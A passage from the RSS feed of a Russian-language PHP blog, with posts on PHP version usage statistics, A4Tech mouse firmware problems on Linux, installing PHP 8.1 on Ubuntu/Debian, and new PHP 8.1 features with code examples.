                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Статистика версий PHP - выпуск 2022.2</h1><blockquote>Вторая ежегодная статистика 2022 используемых версий PHP от Packagist</blockquote><p><span style="font-size: 1rem;">Итак второй отчет по использованию версий PHP, про первую часть можно <a href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-2022-1" target="_blank">прочитать здесь</a>.</span><br></p><p>Напоминаю, что вся статистика открыта и все диаграммы доступны любому пользователю по ссылке&nbsp;<a href="https://packagist.org/php-statistics" target="_blank">https://packagist.org/php-statistics</a>&nbsp;.</p><h2>Статистика использования</h2><p>Начнем с процентной доли версий PHP, используемых сегодня, и сравним ее с двумя предыдущими версиями:</p><p><br></p><table class="table table-bordered"><tbody><tr><td>Версия<br></td><td>июль 2021 г. (%)<br></td><td>Январь 2022 г. (%)<br></td><td>июль 2022 г. (%)<br></td></tr><tr><td>8.1<br></td><td>0.1<br></td><td>9.1<br></td><td>24.5<br></td></tr><tr><td>8.0<br></td><td>14.7<br></td><td>23.9<br></td><td>20.6<br></td></tr><tr><td>7.4<br></td><td>46.8<br></td><td>43.9<br></td><td>38.4<br></td></tr><tr><td>7.3<br></td><td>19.2<br></td><td>12.0<br></td><td>8.0<br></td></tr><tr><td>7.2<br></td><td>10.4<br></td><td>6.6<br></td><td>5.1<br></td></tr><tr><td>7.1<br></td><td>3.8<br></td><td>2.4<br></td><td>1.9<br></td></tr></tbody></table><p>Можно заметить, что сюда не входят версии, использование которых не превышает 1%. Визуализация этих данных выглядит примерно так:<img src="https://sergeymukhin.com/files/blog/2022/statistika-versii-php-vypusk-2022-2-8DLcyg.png"></p><p>Как и ожидалось, в течение года <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-81" target="_blank">PHP 8.1</a> растет, а использование PHP 8.0 уже снижается. Хороший знак - что разработчики обновляются! Имейте в виду, что PHP 8.0 будет активно поддерживаться еще четыре месяца. Так что, если вы еще не начали обновляться до PHP 8.1, сейчас самое время.</p><p>Но пока более 50% разработчиков все еще используют PHP 7.4 или ниже. Это немалое число, учитывая, что PHP 7.4 получает обновления безопасности еще 5 месяцев, а более старые версии просто больше не поддерживаются.</p><p>Переходя к обзорной диаграмме за все время, вы можете увидеть эволюцию использования версий с течением времени:</p><p><img src="https://sergeymukhin.com/files/blog/2022/statistika-versii-php-vypusk-2022-2-Es7cnW.png"></p><p><br></p><p>Интересно сравнить пик 5.5 в 2014 году с пиком 7.4 два года назад. PHP 5.5 и последующие версии испытали гораздо более быстрый спад, как только PHP 7.0 стал доступен, по сравнению с PHP 7.4, когда был выпущен PHP 8.0. Немного странно, что PHP 8.0 не был таким захватывающим, как PHP 7.0.</p><p>В наши дни страх перед обновлением не должен быть препятствием по сравнению с тем, что было восемь лет назад: теперь у нас есть зрелые инструменты, такие как <a href="https://github.com/rectorphp/rector" target="_blank">Rector</a> и <a href="https://github.com/squizlabs/PHP_CodeSniffer" target="_blank">PHP CS</a>, которые позаботятся о почти всем пути обновления за вас.</p><p>Так почему же люди не обновляются до PHP 8.0? Почему больше людей остаются с PHP 7.4 по сравнению с 5.5 и 5.6 днями? Окончательного ответа нет.</p><h2>Требуемые версии</h2><p>Итак посмотрим на другую метрику - минимальная требуемая версия пакетов. Если использовать <a href="https://github.com/nikic/popular-package-analysis" target="_blank">анализатор популярных пакетов Никиты Попова</a>, чтобы загрузить 1000 самых популярных пакетов, и написать небольшой скрипт, чтобы получить самую низкую версию, которую они поддерживают, из их файлов composer.json, то получатся такие данные:</p><p><br></p><p><br></p><table class="table table-bordered"><tbody><tr><td>Версия</td><td>июль 2021 г.<br></td><td>январь 2022 г.<br></td><td>июль 2022 г.<br></td></tr><tr><td>PHP 8.1</td><td>-</td><td>-</td><td>125</td></tr><tr><td>PHP 8.0<br></td><td>117</td><td>160</td><td>94</td></tr><tr><td>PHP 7.4<br></td><td>56</td><td>69</td><td>86</td></tr><tr><td>PHP 7.3<br></td><td>133</td><td>116</td><td>104</td></tr><tr><td>PHP 7.4<br></td><td>142</td><td>133</td><td>130</td></tr><tr><td>PHP 7.1<br></td><td>182</td><td>190</td><td>153</td></tr><tr><td>PHP 7.0<br></td><td>31</td><td>29</td><td>29</td></tr><tr><td>PHP 5.6<br></td><td>61</td><td>49</td><td>42</td></tr><tr><td>PHP 5.5<br></td><td>43<br></td><td>42<br></td><td>35</td></tr><tr><td>PHP 5.4<br></td><td>41</td><td>43</td><td>40</td></tr><tr><td>PHP 5.3<br></td><td>97</td><td>83</td><td>77</td></tr><tr><td>PHP 5.2<br></td><td>12</td><td>10</td><td>10</td></tr><tr><td>PHP 5.0<br></td><td>2</td><td>2</td><td>1</td></tr></tbody></table><p>Интересная получается картина, с одной стороны, приятно видеть PHP 8.1 как минимальную требуемую версию для 125 пакетов. Однако посмотрите, сколько пакетов по-прежнему требуют версии ниже PHP 8.0: 707 из 926 проанализированных пакетов. Это более 75%!</p><p>Да, в качестве примечания: существует всего 926 пакетов, потому что для некоторых из 1000 самых популярных пакетов не требуется версия PHP.</p><p>Нанесем эти данные на график:</p><p><img src="https://sergeymukhin.com/files/blog/2022/statistika-versii-php-vypusk-2022-2-27kzVS.png"></p><p>Ну Вы то уже используете PHP 8.1?)<br></p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/70</guid>
                <pubDate>2022-07-01T08:14:19+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Проблемы с Мышью A4Tech P91S Bloody на Linux Mint/Ubuntu/Debian]]></title>
                <link>https://sergeymukhin.com/blog/problemy-s-mysyu-a4tech-p91s-bloody-na-linux-mintubuntudebian</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Проблемы с Мышью A4Tech P91S Bloody на Linux Mint/Ubuntu/Debian</h1><blockquote>Когда мышь от A4Tech в Linux ведет себя неадекватно</blockquote><p>Долгое время я пользовался лазерными мышами от A4Tech X7, и все было классно, и дома мышь X7 и на работе тоже мышь X7. Вот такая</p><p><img src="https://sergeymukhin.com/files/blog/2021/problemy-s-mysyu-a4tech-p91s-bloody-na-linux-mintubuntudebian-77AxI0.jpeg"></p><p>И все было круто, до поры до времени...</p><p>В последние годы все чаще стали возникать проблемы с курсором мыши, например после пробуждения компьютера некоторое время курсор не мог нормально ездить по экрану, его штормило, дрожал и пользоваться ближайшие несколько минут было, практически, невозможно. Чертов "грызун"!</p><p>Сначала я списывал все на загрязнение лазера, чистил стеклышко внизу и 50 на 50, что проходило, но до ближайшего&nbsp; сна компьютера. В какой-то момент все усугубилось, мышь могла минут 10 дрожать и пройти только после перезагрузки. Начал грешить на драйвера в линуксе, настройки и пр. В какой-то момент мышь стала вести себя так постоянно, и я подумал что она свое "отжила" (хотя казалось бы, что могло в ней исчерпаться за годы пользования), ну ладно, решили купить новую мышь на работу.</p><p>Выбор опять же (по привычке или понравилась внешне) пал на A4Tech&nbsp;P91S Bloody, вот такую:</p><p><img src="https://sergeymukhin.com/files/blog/2021/problemy-s-mysyu-a4tech-p91s-bloody-na-linux-mintubuntudebian-f4YRnh.jpeg"></p><p>И подключив ее первый раз, я немного прифигел, она вела себя еще неадекватнее чем X7, попросту вела курсор строго вниз и вправа, а вверх и влево отказывалась напрочь, интересно, подумал я, тут же проверили ее на Windows - все отлично, я достал старую мышь X7, мы проверили ее на Windows и все ок, т.е. была прямая зависимость поведения курсора мыши от операционной системы. В Винде все ок, на линуксе - "нервы на свалку"!</p><p>Это что получается зря мышь купили что ли?</p><p>Что интересно вместе с этой мышью набрали для менеджеров штук 5 обычных недорогих Okclick'вских мышей, и взяв одну в качестве проверки, она идеально работала на моем компьютере, что ж в мышах A4Tech есть такого, что им мешает нормально работать на линуксах?</p><p>А дело во внутренней аппаратной начинке устройстве, с возможностью обновлять прошивку мыши. Нативно поддержки&nbsp; Linux нет, но можно воспользоваться wine или ОС Windows, если есть под рукой. На сайте компании можно <a href="https://www.bloody.com/ru/download.php" target="_blank">загрузить приложение Bloddy 7</a>&nbsp;и залить прошивку под любые нужды. Интерфейсно выглядит так:</p><p><img src="https://sergeymukhin.com/files/blog/2021/problemy-s-mysyu-a4tech-p91s-bloody-na-linux-mintubuntudebian-3XOcGC.png"></p><p>Вот как раз предустановки вида «CORE 1» (выбран по умолчанию), «CORE 2», «ULTRA CORE 3», «ULTRA CORE 4» и будут менять поведение вашего мыша. Выбрав в качестве подопытного кролика&nbsp;<span style="font-size: 1rem;">ULTRA CORE 4 - я обновил прошивку мышки и Вуаля(!), все неадекватные действия со стороны мыши прошли. Все движения стали плавными и предсказуемыми.&nbsp;</span></p><p><span style="font-size: 1rem;">Утверждать, что это 100% вариант решения проблем совместимости мышей&nbsp;&nbsp;</span><span style="font-size: 1rem;">A4Tech с Linux не стану, но как вариант решения вашей проблемы вполне имеет место быть.</span></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/68</guid>
                <pubDate>2022-06-30T14:35:11+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Статистика версий PHP - выпуск 2022.1]]></title>
                <link>https://sergeymukhin.com/blog/statistika-versii-php-vypusk-2022-1</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Статистика версий PHP - выпуск 2022.1</h1><blockquote>Первая ежегодная статистика 2022 используемых версий PHP от Packagist</blockquote><p>Прошло 6 месяцев с момента предыдущего <a href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20211" target="_blank">поста</a>, и за это время был выпущен PHP 8.1 . Будет интересно увидеть некоторые цифры и в этой новейшей версии</p><p>Важно отметить, что вся статистика открыта и все диаграммы доступны любому пользователю по ссылку&nbsp;<a href="https://packagist.org/php-statistics" target="_blank">https://packagist.org/php-statistics</a>&nbsp;.</p><h2>Статистика использования</h2><p>Начнем с необработанных цифр: процент используемых версий PHP сегодня и шесть месяцев назад.</p><p><br></p><table class="table table-bordered"><tbody><tr><td>Версия<br></td><td>июль 2021 г. (%)<br></td><td>Январь 2022 г. (%)<br></td></tr><tr><td>8.1</td><td>0,1</td><td>9,1</td></tr><tr><td>8.0<br></td><td>14,7</td><td>23,9</td></tr><tr><td>7.4<br></td><td>46,8</td><td>43,9</td></tr><tr><td>7.3<br></td><td>19,2</td><td>12</td></tr><tr><td>7.2<br></td><td>10,4</td><td>6,6</td></tr><tr><td>7.1<br></td><td>3,8</td><td>2,4</td></tr><tr><td>7.0</td><td>1,3</td><td>0,8</td></tr></tbody></table><p>Можно заметить, что сюда не входят версии, использование которых не превышает 1%. Визуализация этих данных выглядит примерно так:</p><p><br></p><p><img src="https://sergeymukhin.com/files/blog/2022/statistika-versii-php-vypusk-2022-1-fzCCbl.png"></p><p>Приятно видеть, что PHP 8.1 используется почти в 10% всех установок композера всего через месяц после его выпуска. Имеет смысл, что его легче подобрать для проектов, уже использующих PHP 8.0, поскольку довольно легко перейти с PHP 8.0 на PHP 8.1.</p><p>Так радостно видеть рост PHP 8.0, хотя на PHP 8.0 и 8.1 вместе приходится только одна треть всех установок. Это означает, что две из трех установок композера&nbsp;используют версии PHP, которые больше не поддерживаются активно.</p><p>Переходя к обзорной диаграмме за все время, вы можете увидеть эволюцию использования версий с течением времени.<br></p><p><br></p><p><img src="https://sergeymukhin.com/files/blog/2022/statistika-versii-php-vypusk-2022-1-YfbNRD.png"></p><p><br></p><p>Несмотря на то, что PHP 7.4 начинает свой спад, ясно, что ему еще есть куда двигаться. Будем надеяться, что через шесть месяцев мы увидим более резкое снижение.<br></p><h2>Требуемые версии</h2><p>Еще одна интересная метрика — минимальная требуемая версия пакетов. Если использовать <a href="https://github.com/nikic/popular-package-analysis" target="_blank">популярный анализатор</a> пакетов Никиты Попова, чтобы загрузить 1000 самых популярных пакетов, и написать небольшой скрипт, чтобы получить самую низкую версию, которую они поддерживают, из их файлов composer.json, то получатся такие данные:</p><table class="table table-bordered"><tbody><tr><td>Версия<br></td><td>июль 2021 г.<br></td><td>январь 2022 г.<br></td></tr><tr><td>8.0<br></td><td>117</td><td>160</td></tr><tr><td>7.4<br></td><td>56</td><td>69</td></tr><tr><td>7.3<br></td><td>133<br></td><td>116</td></tr><tr><td>7.2<br></td><td>142<br></td><td>133</td></tr><tr><td>7.1<br></td><td>182<br></td><td>190</td></tr><tr><td>7.0<br></td><td>31</td><td>29</td></tr><tr><td>5.6<br></td><td>61</td><td>49</td></tr><tr><td>5.5<br></td><td>43</td><td>42</td></tr><tr><td>5.4<br></td><td>41</td><td>43</td></tr><tr><td>5.3<br></td><td>97</td><td>83</td></tr><tr><td>5.2<br></td><td>12</td><td>10</td></tr><tr><td>5.0<br></td><td>2</td><td>2</td></tr></tbody></table><p>Для визуалов вот те же данные, визуализированные в виде диаграммы:<img src="https://sergeymukhin.com/files/blog/2022/statistika-versii-php-vypusk-2022-2-6dE7TH.png"></p><p>Вы можете быть удивлены, не увидев здесь PHP 8.1, но имейте в виду, что эти данные показывают минимальную требуемую версию. Это не означает, что ни один пакет не поддерживает PHP 8.1, это означает, что они также поддерживают PHP 8.0 или более ранние версии. Это имеет большой смысл, учитывая, что PHP 8.1 был выпущен чуть больше месяца назад.</p><p>Итак, в заключение: я вижу те же тенденции, что и в предыдущие годы, когда большинство установок композера все еще используют устаревшие версии. Я знаю, что у многих есть веские причины, почему они не могут или не хотят обновляться, но я также считаю, что быть в курсе современного PHP никогда не было так легко, как сегодня. Потратить пару часов или дней в году на поддержание работоспособности и актуальности вашей кодовой базы не должно быть проблемой ни для кого.</p><p>А Вы уже используете PHP 8.1?)</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/71</guid>
                <pubDate>2022-01-11T08:11:46+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Как установить/обновить PHP 8.1 в Ubuntu/Debian]]></title>
                <link>https://sergeymukhin.com/blog/kak-ustanovitobnovit-php-81-v-ubuntudebian</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Как установить/обновить PHP 8.1 в Ubuntu/Debian</h1><blockquote>Установка PHP 8.1 в новой системе или обновление существующей установки PHP до PHP 8.1 достаточно проста в системах на основе Ubuntu и Debian с помощью предварительно скомпилированных файлов</blockquote><p><a href="https://sergeymukhin.com/blog/chto-novogo-v-php-81" target="_blank">PHP 8.1</a>&nbsp;уже выпущен с новыми функциями, улучшениями и устаревшими функциональными возможностями.</p><p>На сегодняшний момент ни один из текущих репозиториев программного обеспечения Ubuntu или Debian не предлагает PHP 8.1 в своих репозиториях программного обеспечения по умолчанию. Однако <a href="https://launchpad.net/~ondrej" target="_blank">Ондржей Сури</a> продолжает делать версии PHP доступными в виде репозитория программного обеспечения Debian/Ubuntu, и теперь доступны пакеты PHP 8.1.</p><p>Прежде чем приступить к установке, необходимо ознакомиться со списком изменений и устареванием конфигурационных файлов и расширений.</p><h2>Изменения расширений и зависимостей PHP 8.1</h2><p>Расширение Curl поддерживает DNS через HTTPS (DoH), начиная с PHP 8.1. Для этой функции требуется Curl версии 7.62 или более поздней, и она будет недоступна в более старых версиях Debian/Ubuntu, которые не включают в себя версию Curl более позднюю, чем 7.62. Например, эта функция будет недоступна в Ubuntu 18.04.</p><h2>Изменения в директиве INI PHP 8.1</h2><ul><li>функции date_sunrise, date_sunset и соответствующие им настройки INI - устарели</li><li>настройки filter.default и filter.default_options INI - устарели</li><li>Директива auto_detect_line_endings INI - устарела</li></ul><p><br></p><p>Итак, приступим к установке PHP 8.1.&nbsp;</p><h2>1.Перечислите существующие пакеты PHP</h2><p>При обновлении существующей версии PHP проще перечислить существующие расширения PHP, установленные как пакеты программного обеспечения, чтобы они соответствовали списку расширений PHP 8.1. В системах, которые устанавливают PHP 8.1 заново, этот шаг не требуется.</p><p><br></p><pre class="line-numbers"><code class="language-powershell">dpkg -l | grep php | tee packages.txt</code></pre><p>Эта команда выводит список всех установленных пакетов PHP, отображает их на экране и сохраняет в файл с именем packages.txt в текущем рабочем каталоге.</p><h2>2. Добавить PPA ondrej/php</h2><p>После добавления этого репозитория первоначальную установку и обновления можно выполнить стандартными apt командами.</p><p><b>Ubuntu</b></p><pre class="line-numbers"><code class="language-powershell">sudo add-apt-repository ppa:ondrej/php # Press enter when prompted.
sudo apt update</code></pre><p><b>Debian</b></p><pre class="line-numbers"><code class="language-powershell">sudo apt install apt-transport-https lsb-release ca-certificates wget -y
sudo wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg 
sudo sh -c 'echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" &gt; /etc/apt/sources.list.d/php.list'
sudo apt update</code></pre><p><b>&nbsp;</b>Приведенные выше шаги добавят PPA в качестве источника пакетов, который содержит все пакеты PHP и их зависимости, такие как argon2 и libzip.</p><p></p><h2>3. Установите PHP 8.1 и расширения</h2><p>Все пакеты PHP 8.1 следуют шаблону php8.1-NAME. Дополнительные расширения (такие как GD, Curl и т. д.) могут быть установлены так же, в виде наименование программных пакетов&nbsp; (php8.1-gd, php8.1-curl и т. д.).</p><ul><li>php8.1 - это мета-пакет , который коллективно устанавливает несколько зависимостей, таких, как php8.1-cli и php8.1-readline, а также некоторые вспомогательные пакеты.</li><li>php8.1-common - это также мета-пакет, который устанавливает большинство широко используемых расширений PHP за один раз. Он автоматически устанавливает пакет, например php8.1-pdo, php8.1-tokenizer и другие полезные расширения.</li></ul><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install php8.1 php8.1-common php8.1-cli -y</code></pre><p>Эта команда установит несколько расширений PHP - php8.1-common и CLI для PHP 8.1.&nbsp; После установки, можно проверить наличие установленных модулей, запустив:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">php -v # Показать версию PHP .
php -m # Показать установленные и загруженные модули PHP.</code></pre><p>Вы можете установить дополнительные расширения по тому же&nbsp;<span style="font-size: 1rem;">шаблону&nbsp;</span>php8.1-NAME. Обратитесь к&nbsp;<span style="font-size: 1rem;">файлу&nbsp;</span>packages.txt, чтобы увидеть список существующих пакетов, если вы обновляете существующую систему. Обратите внимание, что начиная с PHP 8.0, расширение JSON входит в комплект и устанавливается неявно.</p><p>Пример установки еще нескольких полезных расширений:<br></p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install php8.1-{bz2,curl,intl,xml}</code></pre><p>Для сред разработки также могут быть установлены инструменты покрытия кода или отладчик Xdebug.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install php8.1-pcov # PCOV code coverage tool
sudo apt install php8.1-xdebug # Xdebug debugger</code></pre><blockquote>Внимание! Эти расширения не рекомендуется устанавливать на продакшн серверах.&nbsp;</blockquote><br><p>В зависимости от используемого веб-сервера вам потребуется установить дополнительные пакеты для интеграции с веб-сервером.&nbsp;</p><p>Для использования Nginx, Litespeed и т.п. устанавливаем&nbsp;<span style="font-size: 1rem;">php8.1-fpm.&nbsp;</span>Пакет обеспечивает интеграцию с PHP 8.1 через FPM:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install php8.1-fpm</code></pre><p>Для использования Apache mod_php установите libapache2-mod-php8.1:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt install libapache2-mod-php8.1</code></pre><p>Обратите внимание, что обработчик Apache2 переименован из&nbsp;<span style="font-size: 1rem;">php7_module в&nbsp;</span>php_module для PHP 8.0.&nbsp; Пакет автоматически настраивает расположение модуля Apache, но если вы обновляете с существующей установки PHP, возможно , потребуется обновление конфигурационных файлов; в частности&nbsp;<span style="font-size: 1rem;">блоки</span>&nbsp;&lt;IfModule&gt;.&nbsp;</p><h2>4. Протестируйте установку PHP 8.1</h2><p>Чтобы убедиться, что все установлено, можно так же проверить установку PHP и расширений, выполните следующие команды:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">php -v
php -m</code></pre><p><br></p><pre class="line-numbers"><code class="language-powershell">PHP 8.0.13 (cli) (built: Nov 22 2021 09:50:43) ( NTS )
Copyright (c) The PHP Group
Zend Engine v4.0.13, Copyright (c) Zend Technologies
    with Zend OPcache v8.0.13, Copyright (c), by Zend Technologies
    with Xdebug v3.1.1, Copyright (c) 2002-2021, by Derick Rethans
</code></pre><p><br></p><pre class="line-numbers"><code class="language-powershell">[PHP Modules]
apcu
calendar
Core
ctype
curl
date
dom
exif
FFI
...
[Zend Modules]
Xdebug
Zend OPcache</code></pre><h2>Очистить старые версии PHP</h2><p>Если новая установка работает должным образом, вы можете удалить старые пакеты PHP из системы. Например, если вы используете PHP 8.0 в качестве предыдущей версии, сделать это можно с помощью команды (<b>Осторожно! Не удаляйте старую версию, не убедившись, что ни одно из ваших приложений не использует эту версию</b>):</p><p><br></p><pre class="line-numbers"><code class="language-powershell">sudo apt purge '^php8.0.*'</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"><br></span></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Запуск PHP 8.1 с другими версиями</span><br></p><p>Вместо удаления старых версий PHP можно также запускать несколько версий PHP параллельно.&nbsp;Команда update-alternatives обеспечивает простой способ переключения между версиями PHP для PHP CLI.</p><p><br></p><p></p><pre class="line-numbers"><code class="language-powershell">sudo update-alternatives --config php</code></pre><p><br></p><p></p><pre class="line-numbers"><code class="language-powershell">Есть 5 вариантов для альтернативы php (предоставляет /usr/bin/php).

  Выбор   Путь         Приор Состояние
------------------------------------------------------------
  0            /usr/bin/php8.1   81        автоматический режим
  1            /usr/bin/php7.2   72        ручной режим
  2            /usr/bin/php7.3   73        ручной режим
  3            /usr/bin/php7.4   74        ручной режим
* 4            /usr/bin/php8.0   80        ручной режим
  5            /usr/bin/php8.1   81        ручной режим
</code></pre><p></p><p>&nbsp;&nbsp;</p><p></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/67</guid>
                <pubDate>2021-12-07T04:53:23+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Релиз PHP 8.1!]]></title>
                <link>https://sergeymukhin.com/blog/reliz-php-81</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Релиз PHP 8.1!</h1><blockquote>Более 124 человек внесли свой вклад в формирование PHP</blockquote><p>Выпущен <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-81" target="_blank">PHP 8.1</a> , это фантастический релиз! Он предлагает такие функции, как <a href="https://sergeymukhin.com/blog/php-81-enums-perecisleniya" target="_blank">Enums</a>, которые давно ожидались, и такие функции, как <a href="https://sergeymukhin.com/blog/php-81-fibers" target="_blank">Fibers</a>, которые расширяют возможности PHP как языка программирования.</p><p>Сотни других людей, с помощью отчетов об ошибках, раннего тестирования, документации, подкастов, выступлений и многого другого!</p><p>Сегодня PHP поддерживает более 75% Интернета, и этот выпуск, в конечном итоге, объединяет усилия всех участников в подавляющем большинстве Интернета. Спасибо за все ваши неустанные усилия по созданию PHP 8.1.</p><p> Поздравляем всех участников PHP-сообщества с выходом этого захватывающего релиза PHP 8.1&nbsp;</p><p>Всем слона&nbsp;<span style="font-size: 1rem;">🐘</span></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/66</guid>
                <pubDate>2021-11-25T12:56:28+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Что нового в PHP 8.1]]></title>
                <link>https://sergeymukhin.com/blog/chto-novogo-v-php-81</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Что нового в PHP 8.1</h1><blockquote>PHP 8.1 был выпущен 25 ноября 2021 года</blockquote><p>В этом посте мы последовательно рассмотрим все функции, улучшения производительности, изменения и прекращения поддержки<span style="font-size: 1rem;">.</span></p><h2>Новые возможности</h2><p>Как и другие выпуски PHP, PHP 8.1 добавит несколько приятных новых возможностей. Также я озвучу некоторые функции, которые еще не были реализованы, но у которых есть хорошие шансы появиться в конечном релизе PHP. Я обязательно буду это отмечать. Итак приступим!</p><h2>Распаковка массива с помощью строковых ключей <a href="https://wiki.php.net/rfc/array_unpacking_string_keys" target="_blank">rfc</a></h2><p>Распаковка массива уже была разрешена в <a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">PHP 7.4</a>, но работала только с числовыми ключами. Причина, по которой строковые ключи не поддерживались раньше, заключается в том, что не было единого мнения о том, как объединять дубликаты массивов. RFC четко решает эту проблему, следуя семантике array_merge:</p><p><br></p><pre class="line-numbers"><code class="language-php">$array = ["a" =&gt; 1];

$array2 = ["b" =&gt; 2];

$arrayMerge = ["a" =&gt; 0, ...$array, ...$array2];

var_dump($arrayMerge); // ["a" =&gt; 1, "b" =&gt; 2]</code></pre><h2>Новый тип возврата never <a href="https://wiki.php.net/rfc/noreturn_type" target="_blank">rfc</a>&nbsp;</h2><p>Тип <b>never</b> может быть использован для того, чтобы&nbsp; указать, что функция фактически остановит поток приложения. Это можно сделать, выбросив исключение, вызывая exit/die или используя другие подобные функции.</p><pre class="line-numbers"><code class="language-php">function redirect(string $url): never {
    header('Location: ' . $url);
    exit();
}

redirect('Test'); // код гарантирует не продолжение.
do_something_else();</code></pre><p>Тип&nbsp;<span style="font-size: 1rem;">возвращаемого значения</span><span style="font-size: 1rem;">&nbsp;&nbsp;</span><span style="font-size: 1rem;"><b>never</b></span>&nbsp;аналогичен существующему&nbsp;<span style="font-size: 1rem;">типу возвращаемого значения</span>&nbsp;<b>void</b>, но тип never гарантирует, что программа завершится или выдаст исключение. Другими словами, объявленная функция/метод never типом вообще не должна вызывать return.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(): never {
    return;
}
foo();</code></pre><p><br></p><pre class="line-numbers"><code class="language-powershell">TypeError: dispatch(): Nothing was expected to be returned</code></pre><p>Как видите, если функция/метод с типом never никак не сгенерирует исключение, или прекратит&nbsp; работу, то PHP выдаст исключение TypeError.</p><p>А если при never типе вызвать return, то PHP выдаст Fatal Error. Узнать об этом можно будет только во время вызова, а не во время синтаксического анализа.</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(): never {
    return;
}
foo();</code></pre><p>&nbsp;</p><pre class="line-numbers"><code class="language-powershell">Fatal error: A never function must not return in ... on line 2</code></pre><p>Исходный RFC предлагал использовать <b>noreturn </b>для этой цели. Впрочем последующее голосование в RFC&nbsp; прошло уже в пользу never и он был избран.</p><h2>Новая функция array_is_list<span style="font-size: 1rem;">&nbsp;</span><a href="https://wiki.php.net/rfc/is_list" target="_blank">rfc</a>&nbsp;</h2><p>Возможно,&nbsp;<span style="font-size: 1rem;">время от времени,</span>&nbsp;вам приходится иметь с этим&nbsp;<span style="font-size: 1rem;">дело</span>: определять, находятся ли ключи массива в числовом порядке, начиная с индекса 0. Точно так же, как json_encode решает, должен ли массив быть закодирован как массив или объект.</p><p>PHP 8.1 добавляет встроенную функцию, чтобы определить, является ли массив списком с этой семантикой или нет:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">$list = ["a", "b", "c"];

array_is_list($list); // true

$notAList = [1 =&gt; "a", 2 =&gt; "b", 3 =&gt; "c"];

array_is_list($notAList); // false

$alsoNotAList = ["a" =&gt; "a", "b" =&gt; "b", "c" =&gt; "c"];

array_is_list($alsoNotAList); // false</code></pre><p>Любой массив с ключами, не начинающимися с нуля, или любой массив, в котором не все ключи являются целыми числами в последовательном порядке, результат будет false:</p><p><br></p><pre class="line-numbers"><code class="language-php">// ключи начинаются не с 0
array_is_list([1 =&gt; 'apple', 'orange']); // false

// Ключи не отсортированы
array_is_list([1 =&gt; 'apple', 0 =&gt; 'orange']); // false

// Не все числовые ключи
array_is_list([0 =&gt; 'apple', 'foo' =&gt; 'bar']); false

// Непоследовательные ключи
array_is_list([0 =&gt; 'apple', 2 =&gt; 'bar']); false</code></pre><ul><li>array_is_list принимает только параметры типа array. Передача любого другого типа вызовет исключение&nbsp;TypeError.</li><li>array_is_list не принимает iterable или другие объекты класса, подобные массиву, такие как ArrayAccess, SPLFixedArray и т.д.</li><li>array_is_list объявлен в глобальном пространстве имен.&nbsp;&nbsp;</li></ul><p>Полифил функции будет выглядеть, как:</p><p><br></p><pre class="line-numbers"><code class="language-php">function array_is_list(array $array): bool {
    if (empty($array)) {
        return true;
    }

    $current_key = 0;
    foreach ($array as $key =&gt; $noop) {
        if ($key !== $current_key) {
            return false;
        }
        ++$current_key;
    }

    return true;
}</code></pre><p><br></p><h2>Новая функция fsync <a href="https://wiki.php.net/rfc/fsync_function" target="_blank">rfc</a></h2><p>PHP 8.1 добавляет fsync и fdatasync - функции принудительной синхронизации изменений файлов на диск и и обеспечивающие очистку буферов записи операционной системы.<br></p><p><br></p><pre class="line-numbers"><code class="language-php">$file = fopen("sample.txt", "w");

fwrite($file, "Some content");

if (fsync($file)) {
    echo "File has been successfully persisted to disk.";
}

fclose($file);</code></pre><p>Поскольку синхронизация диска - это операция файловой системы,&nbsp;<span style="font-size: 1rem;">функция</span>&nbsp;fsync будет работать только с обычными файловыми потоками. При попытке синхронизации нефайловых потоков будет выдано предупреждение.</p><p><br></p><h2>Явное восьмеричное целочисленное буквальное обозначение <a href="https://wiki.php.net/rfc/explicit_octal_notation" target="_blank">rfc</a></h2><p>Теперь вы можете использовать 0o (нуль и маленькая буква o) и 0O (нуль и большая буква O) для обозначения восьмеричных чисел. Предыдущее обозначение с префиксом числа "0" по-прежнему работает:</p><p><br></p><pre class="line-numbers"><code class="language-php">016 === 0o16; // true
